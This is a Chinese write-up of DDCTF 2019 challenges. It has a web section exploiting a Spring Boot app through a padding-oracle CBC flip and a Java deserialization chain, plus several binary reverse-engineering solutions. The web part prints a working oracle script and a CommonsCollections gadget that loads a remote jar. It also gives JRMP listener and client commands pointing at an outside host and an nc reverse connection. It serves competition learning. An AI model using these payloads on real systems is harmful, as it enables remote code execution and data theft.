前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DDCTF WriteUp (Web压轴+逆向)

DDCTF WriteUp (Web压轴+逆向)

作者头像
ChaMd5安全团队
发布2019-05-07 14:57:52
1.3K0
发布2019-05-07 14:57:52
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队

Web(压轴)

再来一杯JAVA

最后一道web,来自ShadowGlint师傅的复现(tql): 访问题目,抓包看到几个api。 account_info返回{"id":1,"roleAdmin":false} gen_token返回token token解b64有:PadOracle:iv/cbc 基本确定就是padding oracle然后cbc字节翻转。 原理都忘光了。。去复习了一波,找到脚本跑一下:

代码语言:javascript
复制
import requests
def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])

def padding_oracle(ciper_hex, N):
    get = ""
    for i in xrange(1, N + 1):
        for j in xrange(0, 256):
            # print(i,j)
            padding = xor(get, chr(i) * (i - 1))
            c = chr(0) * (N - i) + chr(j) + padding
            payload='5061644f7261636c653a69762f636263'+c.encode('hex')+ciper_hex
            # print(payload)
            get_api_return=get_api(payload)
            # print(get_api_return)
            if "decrypt err~" not in get_api_return:
                get = chr(j ^ i) + get
                print(get.encode('hex'))
                break
    return get.encode('hex')
def padding(strings):
    padding_len=8-len(strings)%8
    return strings+chr(padding_len)*padding_len
def get_api(ciphertext):
    req_header={'X-Forwarded-For': '',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063',
'Host':'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023',
'Referer':'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home',
'Cookie':'token={}'.format(ciphertext.decode('hex').encode('base64')[:-1]),
}
    s = requests.session() 
  rsp=s.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token', headers=req_header,timeout=2,verify=False,stream=True,allow_redirects=False)
    return(rsp.content)  
def cbc_byte_flipping(strings):
    token_padding=padding(strings)
    c2='b8d85a91bdeae799086cc723e7bf1685'.decode('hex')
    c2_m='a7d3878a0466c70b59264b5ed33f5013'.decode('hex')
    c1=xor(c2_m,token_padding[16:])
    c1_m=padding_oracle(c1.encode('hex'), 16).decode('hex')
    iv=xor(c1_m,token_padding[0:16]) #iv
    return((iv+c1+c2).encode('base64')[:-1])
print(cbc_byte_flipping('{"id":1,"roleAdmin":true}'))

hex一下,猜测是中间16位iv,最后16位是密文。并且解密失败,服务端会返回dercrypt err,因此满足padding oracle条件。 跑脚本,拿到可用的token。admin身份进后台之后,看到下载1.txt,里边给出hint hex一下,猜测是中间16位iv,最后16位是密文。并且解密失败,服务端会返回dercrypt err,因此满足padding oracle条件。 跑脚本,拿到可用的token。admin身份进后台之后,看到下载1.txt,里边给出hint

代码语言:javascript
复制
Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 
2. You can not exec commands~ 

看到题目用了Springboot,并且限制不可执行命令。 继续fuzz下载文件的fileName参数,跑了很多常见的fuzz任意文件读的字典,发现除了passwd啥都读不到。递归把etc、bin、usr等目录都跑过了,发现没啥有用的信息。 但看着样子肯定要拿到源码,继续测,跑/proc/self/fd当前运行进程目录,发现15能下到源码。 反编译审一波:

代码语言:javascript
复制
public class DeserializeDemoController
{
  @Autowired
  private SerialKillerConf serialKillerConf;

  @CheckAdminActuator
  @RequestMapping({"/nicaibudao_hahaxxxx/deserial"})
  public String deserialize(String base64Info)
  {
    ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Info));
    UserInfo userInfo = null;
    try
    {
      ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());
      userInfo = (UserInfo)ois.readObject();
      ois.close();
    }
    catch (Exception e)
    {
      e.printStackTrace();
      return null;
    }
    return JSON.toJSONString(userInfo);
  }
}

清楚看到controller/DeserializeDemoController下有反序列化接口,那思路就很明确了,反序列化执行执行命令或列目录拿flag。 继续审,发现用到了serialkiller。ysoserial里的payload都不能用了。。然后继续谷歌,发现了weblogic的几个反序列化洞,通过起jrmp服务来反序列化执行命令。附上链接: https://xz.aliyun.com/t/2479 看到了payload1

serialkiller中对jrmp的过滤:

代码语言:javascript
复制
<!-- ysoserial's JRMPClient payload  -->
<regexp>java\.rmi\.registry\.Registry$</regexp>
<regexp>java\.rmi\.server\.ObjID$</regexp>
<regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>

这个payload并未用到serialkiller中的类,而是通过UnicastRef。我们跟进去看下UnicastRef这个类的作用。

代码语言:javascript
复制
 /**
  * NOTE: There is a JDK-internal dependency on the existence of this
  * class's getLiveRef method (as it is inherited by UnicastRef2) in
  * the implementation of javax.management.remote.rmi.RMIConnector.
  **/
    public class UnicastRef implements RemoteRef 

 /**
   * Create a new Unicast RemoteRef.
   */
    public UnicastRef(LiveRef liveRef) {
        ref = liveRef;
   }

大约就是创建一个RMI连接器,和JRMPServer连接。所以我们并不需要Registry类,去掉之后对反序列化利用没有影响。 在DeseriallizeDemoController类中,可以看到输入被过滤了。

代码语言:javascript
复制
ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());

因此,这题bypass serialkiller的思路,就是起一个JRMPServer,然后像常规JRMP的利用思路那样,传入JRMPClient的Payload,通过反序列化接口执行连接我们的evil server,然后下载我们的payload执行。这样,就能绕过serialKiller了。当然,思路是第一步,下边还有很多很多很多坑。。。 就用这个payload1:

代码语言:javascript
复制
package ysoserial.payloads;

import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings ( {"restriction" } )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject (final String command ) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
          TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }

    public static void main ( final String[] args ) throws Exception {
        String[] target = new String[] {"139.199.203.253:44446"};
        Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
        PayloadRunner.run(JRMPClient1.class, target);
    }
}

这里我有一个疑问,payload1中用到了ObjID id = new ObjID,也就是用到了ObjID这个类,而这个类也在serialkiller的过滤列表中。但是发过去后,并未拦截这个类。。有大佬的解释是这个不是需要反序列化的类,是bind服务的时候用的。但不是很理解,有懂得大佬求讲解下…… 继续我们的利用。他说了不能exec,那先试试ysoserial的URLDNS。

成功接收,继续尝试执行命令:

收不到。。。命令全都被限制了。估计是shell直接限制不能执行命令,看来只能自己写payload读文件。 用到了Common-collection3.1,那可以改一改现有的payload来任意代码执行。现有的payload是通过反射来执行命令的,想改exp很麻烦。。这里参考下iswin大佬的文章。https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/ 感谢@threedr3am 大佬的帮助,膜爆师傅。。tql 这里我实在写不下去了。。通过重写CommonsCollections,就能引入自己写的,实现任意功能的类,然后用ysoserial起一个server发过去,就能列目录、读文件了。 这过程一堆坑不提了。。。 贴一下魔改过的一些代码 @threedr3am

代码语言:javascript
复制
package ysoserial.payloads;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

public class CommonsCollectionsForLoadJar extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
    public BadAttributeValueExpException getObject(String ipAndHost) throws Exception {
        String payloadUrl = ipAndHost.substring(0, ipAndHost.indexOf(";"));
        String ip2 = ipAndHost.substring(ipAndHost.indexOf(";") + 1, ipAndHost.lastIndexOf(":"));
        String str = ipAndHost;
        Integer port2 = Integer.valueOf(Integer.parseInt(str.substring(ipAndHost.lastIndexOf(":") + 1)));
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Integer.valueOf(1))});
        Transformer[] transformers = new Transformer[7];
        Class[] clsArr = new Class[]{Class[].class};
        Object[] objArr = new Object[1];
        objArr[0] = new Class[]{URL[].class};
        transformers[1] = new InvokerTransformer("getConstructor", clsArr, objArr);
        clsArr = new Class[]{Object[].class};
        objArr = new Object[1];
        Object[] objArr2 = new Object[1];
        objArr2[0] = new URL[]{new URL(payloadUrl)};
        objArr[0] = objArr2;
        transformers[2] = new InvokerTransformer("newInstance", clsArr, objArr);
        transformers[3] = new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"R"});
        clsArr = new Class[]{Class[].class};
        objArr = new Object[1];
        objArr[0] = new Class[]{String.class, Integer.class};
        transformers[4] = new InvokerTransformer("getConstructor", clsArr, objArr);
        clsArr = new Class[]{Object[].class};
        objArr = new Object[1];
        objArr[0] = new Object[]{ip2, port2};
        transformers[5] = new InvokerTransformer("newInstance", clsArr, objArr);
        transformers[6] = new ConstantTransformer(Integer.valueOf(1));
        TiedMapEntry entry = new TiedMapEntry(LazyMap.decorate(new HashMap(), transformerChain), "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        return val;
    }

    public static Constructor<?> getFirstCtor(String name) throws Exception {
        Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }

    public static Field getField(Class<?> clazz, String fieldName) throws Exception {
        Field field = clazz.getDeclaredField(fieldName);
        if (field == null && clazz.getSuperclass() != null) {
            field = getField(clazz.getSuperclass(), fieldName);
        }
        field.setAccessible(true);
        return field;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        getField(obj.getClass(), fieldName).set(obj, value);
    }
}

然后加到ysoserial里,常规的JRMPClient方式起一下。

代码语言:javascript
复制
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 44446 CommonsCollectionsForLoadJar 'http://ip/readfile.jar;nc_vps:nc_port'

然后就是生成注入client来访问这个server的payload,常规利用方式。

代码语言:javascript
复制
java -jar ysoserial.jar JRMPClient1 'vpsIP:44446'|base64 > payloadd

本地nc listen一下,/api/nicaibudao_hahaxxxx/deserial?base64Info=payload 发过去,就能列目录。发现/flag目录下有flag文件,再重新谈一个能读的shell,读一下拿到flag。

再次感谢@threedr3am师傅带我赛后做出这道题。。伏地膜

Reverse

Windows Reverse1

感觉没必要脱壳,OD载入,显示please input code:后暂停程序,查看调用堆栈就能找到对应位置

代码语言:javascript
复制
00A610AC    68 1C21A600     push reverse1.00A6211C                   ; ASCII "%s"
00A610B1    FF15 A420A600   call dword ptr ds:[0xA620A4]             ; MSVCR90.scanf
00A610B7    8D8424 28040000 lea eax,dword ptr ss:[esp+0x428]
00A610BE    50              push eax
00A610BF    8D4C24 2C       lea ecx,dword ptr ss:[esp+0x2C]
00A610C3    E8 38FFFFFF     call reverse1.00A61000
00A610C8    83C4 28         add esp,0x28
00A610CB    B9 F420A600     mov ecx,reverse1.00A620F4                ; ASCII "DDCTF{reverseME}"

首先获取我们的输入,而后进入一个encode,最后将encode后的字符串与DDCTF{reverseME}进行比较,做得时候时间紧,没进去跟,第一次输入就很明显看到输入和输出就是158-ascii的映射关系:

代码语言:javascript
复制
key="DDCTF{reverseME}"
ans=""
for i in key:
    ans+=chr(158-ord(i))
print ans
#ZZ[JX#,9(9,+9QY!
Windows Reverse2

同样没脱壳,直接在输入的时候暂停查看堆栈,就能找到关键代码位置:

代码语言:javascript
复制
00D9136E  |.  8B3D AC20D900 mov edi,dword ptr ds:[0xD920AC]          ;  msvcr90.printf
00D91374  |.  68 2421D900   push reverse2.00D92124                   ; /format = "input code:"
00D91379  |.  FFD7          call edi                                 ; \printf
00D9137B  |.  8D9424 240400>lea edx,dword ptr ss:[esp+0x424]
00D91382  |.  52            push edx
00D91383  |.  68 3021D900   push reverse2.00D92130                   ; /format = "%s"
00D91388  |.  FF15 B020D900 call dword ptr ds:[0xD920B0]             ; \scanf
00D9138E  |.  83C4 24       add esp,0x24
00D91391  |.  8DB424 080400>lea esi,dword ptr ss:[esp+0x408]
00D91398  |.  E8 53FEFFFF   call reverse2.00D911F0
00D9139D  |.  84C0          test al,al
00D9139F  |.  75 12         jnz Xreverse2.00D913B3
00D913A1  |.  68 3421D900   push reverse2.00D92134                   ;  ASCII "invalid input
"
00D913A6  |.  FFD7          call edi
00D913A8  |.  83C4 04       add esp,0x4
00D913AB  |.  6A 00         push 0x0                                 ; /status = 0
00D913AD  |.  FF15 A820D900 call dword ptr ds:[0xD920A8]             ; \exit
00D913B3  |>  8D8424 080800>lea eax,dword ptr ss:[esp+0x808]
00D913BA  |.  50            push eax
00D913BB  |.  8DB424 0C0400>lea esi,dword ptr ss:[esp+0x40C]
00D913C2  |.  E8 79FEFFFF   call reverse2.00D91240
00D913C7  |.  68 FF030000   push 0x3FF                               ; /n = 3FF (1023.)
00D913CC  |.  8D4C24 11     lea ecx,dword ptr ss:[esp+0x11]          ; |
00D913D0  |.  6A 00         push 0x0                                 ; |c = 00
00D913D2  |.  51            push ecx                                 ; |s
00D913D3  |.  C64424 18 00  mov byte ptr ss:[esp+0x18],0x0           ; |
00D913D8  |.  E8 8D080000   call reverse2.00D91C6A                   ; \memset
00D913DD  |.  8D9424 180800>lea edx,dword ptr ss:[esp+0x818]
00D913E4  |.  52            push edx                                 ; /<%s>
00D913E5  |.  8D4424 1C     lea eax,dword ptr ss:[esp+0x1C]          ; |
00D913E9  |.  68 4421D900   push reverse2.00D92144                   ; |format = "DDCTF{%s}"
00D913EE  |.  50            push eax                                 ; |s
00D913EF  |.  FF15 B420D900 call dword ptr ds:[0xD920B4]             ; \sprintf
00D913F5  |.  83C4 1C       add esp,0x1C
00D913F8  |.  B9 5021D900   mov ecx,reverse2.00D92150                ;  ASCII "DDCTF{reverse+}"
00D913FD  |.  8D4424 08     lea eax,dword ptr ss:[esp+0x8]
00D91401  |>  8A10          /mov dl,byte ptr ds:[eax]
00D91403  |.  3A11          |cmp dl,byte ptr ds:[ecx]
00D91405  |.  75 1A         |jnz Xreverse2.00D91421
00D91407  |.  84D2          |test dl,dl
00D91409  |.  74 12         |je Xreverse2.00D9141D
00D9140B  |.  8A50 01       |mov dl,byte ptr ds:[eax+0x1]
00D9140E  |.  3A51 01       |cmp dl,byte ptr ds:[ecx+0x1]
00D91411  |.  75 0E         |jnz Xreverse2.00D91421
00D91413  |.  83C0 02       |add eax,0x2
00D91416  |.  83C1 02       |add ecx,0x2
00D91419  |.  84D2          |test dl,dl
00D9141B  |.^ 75 E4         \jnz Xreverse2.00D91401
00D9141D  |>  33C0          xor eax,eax
00D9141F  |.  EB 05         jmp Xreverse2.00D91426
00D91421  |>  1BC0          sbb eax,eax
00D91423  |.  83D8 FF       sbb eax,-0x1
00D91426  |>  85C0          test eax,eax
00D91428  |.  75 11         jnz Xreverse2.00D9143B
00D9142A  |.  8D4C24 08     lea ecx,dword ptr ss:[esp+0x8]
00D9142E  |.  51            push ecx
00D9142F  |.  68 6021D900   push reverse2.00D92160                   ;  ASCII "You've got it !!! %s
"
00D91434  |.  FFD7          call edi
00D91436  |.  83C4 08       add esp,0x8
00D91439  |.  EB 0A         jmp Xreverse2.00D91445
00D9143B  |>  68 7821D900   push reverse2.00D92178                   ;  ASCII "Something wrong. Try again...
"
00D91440  |.  FFD7          call edi

跟进去可以看到D911F0是一个判断:

代码语言:javascript
复制
00D91220  |> /8A0431        /mov al,byte ptr ds:[ecx+esi]
00D91223  |. |3C 30         |cmp al,0x30
00D91225  |. |7C 04         |jl Xreverse2.00D9122B
00D91227  |. |3C 39         |cmp al,0x39
00D91229  |. |7E 08         |jle Xreverse2.00D91233
00D9122B  |> |3C 41         |cmp al,0x41
00D9122D  |. |7C 0C         |jl Xreverse2.00D9123B
00D9122F  |. |3C 46         |cmp al,0x46
00D91231  |. |7F 08         |jg Xreverse2.00D9123B
00D91233  |> |41            |inc ecx
00D91234  |. |3BCA          |cmp ecx,edx
00D91236  |.^\7C E8         \jl Xreverse2.00D91220

主要是判断一下字符范围0-9A-F,很显然是16进制格式,下面紧跟着hex解码D91240:

代码语言:javascript
复制
00D91290  |> /8A0416        /mov al,byte ptr ds:[esi+edx]
00D91293  |. |8AC8          |mov cl,al
00D91295  |. |80E9 30       |sub cl,0x30
00D91298  |. |80F9 09       |cmp cl,0x9
00D9129B  |. |77 06         |ja Xreverse2.00D912A3
00D9129D  |. |884C24 0F     |mov byte ptr ss:[esp+0xF],cl
00D912A1  |. |EB 10         |jmp Xreverse2.00D912B3
00D912A3  |> |8AC8          |mov cl,al
00D912A5  |. |80E9 41       |sub cl,0x41
00D912A8  |. |80F9 05       |cmp cl,0x5
00D912AB  |. |77 06         |ja Xreverse2.00D912B3
00D912AD  |. |2C 37         |sub al,0x37
......
......
00D912F5  |.  8D4C24 14     lea ecx,dword ptr ss:[esp+0x14]
00D912F9  |.  E8 02FDFFFF   call reverse2.00D91000

而后传入D91000,里面的移位和寻址很显然是一层base64,不过第一次看的时候table不是标准的,进去后看到是用一个异或操作换成标准(输入字符验证确实是标准base64) 最后返回sprintf("DDCTF{%s}",&encode)并与DDCTF{reverse+}比较 所以flag:

代码语言:javascript
复制
>>> "reverse+".decode("base64").encode("hex").upper()
'ADEBDEAEC7BE'
Confused

mac逆向??买不起mac只能静态分析,还好很简单,很显然是一个虚拟机保护,不能动调,先把code扣出来,先逆出init定义和每个vm操作:

代码语言:javascript
复制
_int64 __fastcall init(__int64 a1, __int64 a2)
{
  *(_DWORD *)a1 = 0;
  *(_DWORD *)(a1 + 4) = 0;
  *(_DWORD *)(a1 + 8) = 0;
  *(_DWORD *)(a1 + 12) = 0;
  *(_DWORD *)(a1 + 16) = 0;
  *(_DWORD *)(a1 + 176) = 0;
  *(_BYTE *)(a1 + 32) = 0xF0u;
  *(_QWORD *)(a1 + 40) = mov_;
  *(_BYTE *)(a1 + 48) = 0xF1u;
  *(_QWORD *)(a1 + 56) = xor_a_a4;
  *(_BYTE *)(a1 + 64) = 0xF2u;
  *(_QWORD *)(a1 + 72) = cmp_;
  *(_BYTE *)(a1 + 80) = 0xF4u;
  *(_QWORD *)(a1 + 88) = uadd_a4_a_ret;
  *(_BYTE *)(a1 + 96) = 0xF5u;
  *(_QWORD *)(a1 + 104) = usub_a_a4_ret;
  *(_BYTE *)(a1 + 112) = 0xF3u;
  *(_QWORD *)(a1 + 120) = nop;
  *(_BYTE *)(a1 + 128) = 0xF6u;
  *(_QWORD *)(a1 + 136) = jmp_;
  *(_BYTE *)(a1 + 144) = 0xF7u;
  *(_QWORD *)(a1 + 152) = mov__;
  *(_BYTE *)(a1 + 160) = 0xF8u;
  *(_QWORD *)(a1 + 168) = mov_;
  map_addr = malloc(0x400uLL);
  return __memcpy_chk((char *)map_addr + 48, a2, 18LL, -1LL);
}

handle关键部分:

代码语言:javascript
复制
if ( **(unsigned __int8 **)(a1 + 0x18) == *(unsigned __int8 *)(16LL * v3 + a1 + 0x20) )
    {
      v4 = 1;
      (*(void (__fastcall **)(__int64))(16LL * v3 + a1 + 0x20 + 8))(a1);
    }

很显然是根据对应操作前定义的字节码调用函数,启动方式:

代码语言:javascript
复制
__int64 __fastcall run(__int64 a1)
{
  *(_QWORD *)(a1 + 0x18) = (char *)&exe_code + 4;
  while ( **(unsigned __int8 **)(a1 + 0x18) != 0xF3 )
    handle(a1);
  free(map_addr);
  return *(unsigned int *)(a1 + 0xB0);
}

主要就是逆出每个操作,对应vm字节码解出汇编就行了,vm内部的思路很清晰:

代码语言:javascript
复制
key=[
  0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x30, 0xF6,
  0xC1, 0xF0, 0x10, 0x63, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x31,
  0xF6, 0xB6, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2,
  0x32, 0xF6, 0xAB, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8,
  0xF2, 0x33, 0xF6, 0xA0, 0xF0, 0x10, 0x6D, 0x00, 0x00, 0x00,
  0xF8, 0xF2, 0x34, 0xF6, 0x95, 0xF0, 0x10, 0x57, 0x00, 0x00,
  0x00, 0xF8, 0xF2, 0x35, 0xF6, 0x8A, 0xF0, 0x10, 0x6D, 0x00,
  0x00, 0x00, 0xF8, 0xF2, 0x36, 0xF6, 0x7F, 0xF0, 0x10, 0x73,
  0x00, 0x00, 0x00, 0xF8, 0xF2, 0x37, 0xF6, 0x74, 0xF0, 0x10,
  0x45, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x38, 0xF6, 0x69, 0xF0,
  0x10, 0x6D, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x39, 0xF6, 0x5E,
  0xF0, 0x10, 0x72, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3A, 0xF6,
  0x53, 0xF0, 0x10, 0x52, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3B,
  0xF6, 0x48, 0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2,
  0x3C, 0xF6, 0x3D, 0xF0, 0x10, 0x63, 0x00, 0x00, 0x00, 0xF8,
  0xF2, 0x3D, 0xF6, 0x32, 0xF0, 0x10, 0x44, 0x00, 0x00, 0x00,
  0xF8, 0xF2, 0x3E, 0xF6, 0x27, 0xF0, 0x10, 0x6A, 0x00, 0x00,
  0x00, 0xF8, 0xF2, 0x3F, 0xF6, 0x1C, 0xF0, 0x10, 0x79, 0x00,
  0x00, 0x00, 0xF8, 0xF2, 0x40, 0xF6, 0x11, 0xF0, 0x10, 0x65,
  0x00, 0x00, 0x00, 0xF8, 0xF2, 0x41, 0xF6, 0x06, 0xF7, 0x01,
  0x00, 0x00, 0x00, 0xF3, 0xF7, 0x00, 0x00, 0x00, 0x00, 0xF3,
  0x5D, 0xC3, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00
]
ip=0
ans=[]
while key[ip]!=0xF3:
  if key[ip]==0xf0:
    if key[ip+1]==0x14:
      print hex(ip)+"\t"+"mov a0,"+"map_addr+*(dw)"+hex(key[ip+2]+key[ip+3]*16+key[ip+4]*256+key[ip+5]*4096)
    else:
      print hex(ip)+"\t"+"mov a"+str(key[ip+1]&0x0f)+","+hex(key[ip+2]+key[ip+3]*16+key[ip+4]*256+key[ip+5]*4096)
      ans.append(key[ip+2]+key[ip+3]*16+key[ip+4]*256+key[ip+5]*4096)
    ip+=6
  if key[ip]==0xf1:
    print hex(ip)+"\t"+"xor a0,a1"
    ip+=1
  if key[ip]==0xf2:
    print hex(ip)+"\t"+"cmp a0,"+"map_addr+"+hex(key[ip+1])
    ip+=2
  if key[ip]==0xf4:
    print hex(ip)+"\t"+"add a0,a1"
    ip+=1
  if key[ip]==0xf5:
    print hex(ip)+"\t"+"sub a0,a1"
    ip+=1
  if key[ip]==0xf6:
    print hex(ip)+"\t"+"jnz "+hex(ip+key[ip+1]+2)
    ip+=2
  if key[ip]==0xf7:
    print hex(ip)+"\t"+"mov ret,*"+hex(key[ip+1]+key[ip+2]*16+key[ip+3]*256+key[ip+4]*4096)
    ip+=5
  if key[ip]==0xf8:
    print hex(ip)+"\t"+"mov a0,func(a0,2)"
    ip+=1

output:

代码语言:javascript
复制
0x0    mov a0,0x66
0x6    mov a0,func(a0,2)
0x7    cmp a0,map_addr+0x30
0x9    jnz 0xcc
0xb    mov a0,0x63
0x11    mov a0,func(a0,2)
0x12    cmp a0,map_addr+0x31
0x14    jnz 0xcc
0x16    mov a0,0x6a
0x1c    mov a0,func(a0,2)
0x1d    cmp a0,map_addr+0x32
0x1f    jnz 0xcc
0x21    mov a0,0x6a
0x27    mov a0,func(a0,2)
0x28    cmp a0,map_addr+0x33
0x2a    jnz 0xcc
0x2c    mov a0,0x6d
0x32    mov a0,func(a0,2)
0x33    cmp a0,map_addr+0x34
0x35    jnz 0xcc
0x37    mov a0,0x57
0x3d    mov a0,func(a0,2)
0x3e    cmp a0,map_addr+0x35
0x40    jnz 0xcc
0x42    mov a0,0x6d
0x48    mov a0,func(a0,2)
0x49    cmp a0,map_addr+0x36
0x4b    jnz 0xcc
0x4d    mov a0,0x73
0x53    mov a0,func(a0,2)
0x54    cmp a0,map_addr+0x37
0x56    jnz 0xcc
0x58    mov a0,0x45
0x5e    mov a0,func(a0,2)
0x5f    cmp a0,map_addr+0x38
0x61    jnz 0xcc
0x63    mov a0,0x6d
0x69    mov a0,func(a0,2)
0x6a    cmp a0,map_addr+0x39
0x6c    jnz 0xcc
0x6e    mov a0,0x72
0x74    mov a0,func(a0,2)
0x75    cmp a0,map_addr+0x3a
0x77    jnz 0xcc
0x79    mov a0,0x52
0x7f    mov a0,func(a0,2)
0x80    cmp a0,map_addr+0x3b
0x82    jnz 0xcc
0x84    mov a0,0x66
0x8a    mov a0,func(a0,2)
0x8b    cmp a0,map_addr+0x3c
0x8d    jnz 0xcc
0x8f    mov a0,0x63
0x95    mov a0,func(a0,2)
0x96    cmp a0,map_addr+0x3d
0x98    jnz 0xcc
0x9a    mov a0,0x44
0xa0    mov a0,func(a0,2)
0xa1    cmp a0,map_addr+0x3e
0xa3    jnz 0xcc
0xa5    mov a0,0x6a
0xab    mov a0,func(a0,2)
0xac    cmp a0,map_addr+0x3f
0xae    jnz 0xcc
0xb0    mov a0,0x79
0xb6    mov a0,func(a0,2)
0xb7    cmp a0,map_addr+0x40
0xb9    jnz 0xcc
0xbb    mov a0,0x65
0xc1    mov a0,func(a0,2)
0xc2    cmp a0,map_addr+0x41
0xc4    jnz 0xcc
0xc6    mov ret,*0x1

就是一个循环调用判断,其中func由程序本身定义,就是一个字母偏移,类似凯撒加密的效果,提取每次的判断字符,加上偏移即得flag: helloYouGotTheFlag

obfuscating macros

不得不说这种混淆之前没碰到过,还好本身处理input的方式很简单: 静态分析发现很多函数都是像nop或者直接一个操作就ret的函数,动态调试首先就是很多和输入流无关的操作和跳转。 我的方法直接对保存输入流的堆块下硬件断点找关键处理代码,代码段太分散了,贴一下关键地方:

代码语言:javascript
复制
v5 = *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '@'
      && *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= 'F';
......
......
    v3 = *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '/'// 0-9
      && *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= '9';
......
......
    v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15 / 2);
    *v4 = 16
        * (*std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) - 0x37);
    if ( !v16 )
......
......
    v6 = *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15 + 1) - '0';
    v7 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15 / 2);

可以看到就是一个hex_decode操作,字符为0-9a-f,而后进入第二层处理,依然硬件断点(hex_decode存放位置就是我们的input),找到了关键判断位置:

代码语言:javascript
复制
      if ( v50 )
      {
        v4 = v24++;
        *v26 -= *v4;                            // y@
        if ( !v12 )
          v12 = 162LL;
        if ( !v50 )

比较我们的hex_decode(input),依次记录此时的值: 79406C61E5EEF319CECEE2ED8498...... 发现到最后正确达到一定长度即可right,我没具体找长度位置,直接fuzz到临界值,输入到98,well done,flag: 79406C61E5EEF319CECEE2ED8498

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-04-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web(压轴)
    • 再来一杯JAVA
    • Reverse
      • Windows Reverse1
        • Windows Reverse2
          • Confused
            • obfuscating macros
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档